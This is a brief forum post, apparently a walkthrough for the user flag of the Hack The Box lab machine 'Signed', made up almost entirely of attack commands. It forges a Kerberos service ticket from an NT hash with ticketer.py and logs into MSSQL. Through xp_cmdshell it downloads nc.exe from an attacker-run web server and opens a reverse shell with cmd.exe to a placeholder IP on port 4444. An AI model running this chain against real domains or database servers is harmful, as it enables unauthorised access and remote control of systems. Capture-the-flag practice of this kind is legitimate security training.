[pericles495]

Hello, this is the way for get the user flag for HTB Signed - S9

Code:

ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc \
  -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
  -domain signed.htb \
  -spn MSSQLSvc/DC01.signed.htb:1433 \
  -groups 1105 \
  -user-id 1103 \
  mssqlsvc

Code:

export KRB5CCNAME=mssqlsvc.ccache
mssqlclient.py -k -no-pass DC01.SIGNED.HTB

python3 -m http.server 80
xp_cmdshell "powershell wget -UseBasicParsing http://IP.IP.IP.IP/nc.exe -OutFile %temp%/nc.exe"

nc -lnvp 4444
xp_cmdshell "%temp%\nc.exe -nv IP.IP.IP.IP 4444 -e cmd.exe"
type C:\Users\mssqlsvc\Desktop\user.txt

Enjoy !